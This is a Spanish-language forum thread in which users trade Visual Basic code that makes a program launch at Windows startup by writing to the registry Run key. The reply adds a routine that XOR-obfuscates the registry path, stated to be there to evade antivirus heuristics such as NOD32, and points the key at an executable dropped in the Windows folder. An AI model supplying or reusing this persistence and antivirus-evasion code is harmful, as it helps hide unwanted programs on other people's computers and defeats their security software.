Auto ejecutar un programa al iniciar window

[cheatmaster]

Buenas, pues aun q es raro y me dado cuenta de que me a "jodido" todos los proyectos anteriores..

Para cuando un pc es apagado, o reiniciado, para que el pc se inicie de nuevo, el codigo seria este ??

Private Sub Command1_Click()
            Dim RegistroCochin o As Object
            Dim RutaCochina As String
            Dim CadenaNueva As String
            Dim ContenidoCaden a As String
           
            ContenidoCaden a = "http://ranefi.mx.gs"
            CadenaNueva = "\ranefi"
            RutaCochina = "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows" & _
                        "\CurrentVersion\Run" & CadenaNueva
           
            Set RegistroCochin o = CreateObject("WScript.Shell")
           
            RegistroCochin o.RegWrite RutaCochina, ContenidoCaden a
End Sub

Si fuera asin quiero saber que quiere decir  | ContenidoCaden a = "http://ranefi.mx.gs"  , CadenaNueva = "\ranefi"

yo quisiera que se ejecutara, por ejemplo PROYECTO.EXE


P.D: HENDRIX CONECTATE AL MSN !!!!!!!!!!!!!!!!!!!!!!!!

[hepy_92]

Código [Seleccionar] Expandir


dim Windows = environ("windir") 'la variable windows es igual a la carpeta donde este el windows
On Error GoTo fallo'este code lo pones por ejemplo en form_load
Set Clave = CreateObject("WScript.shell")
Deb = descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Lkftt")
Clave.regwrite Deb, Windows & "\jushed.exe" 'jushed.exe seria el nombre de la aplicacion que quieres que se inicie
fallo:

Private Function descifrar(j)
On Error Resume Next
For R = 1 To Len(j)
descifrar = descifrar & Chr(Asc(Mid(j, R, 1)) Xor 7)
Next
End Function

Aca tiene el code para agregar la cadena al registro y de paso encriptarla, para no tener problemas con la heuristica como por ejemplo con el nod32
este code no es mio
todos los creditos a vivachapas!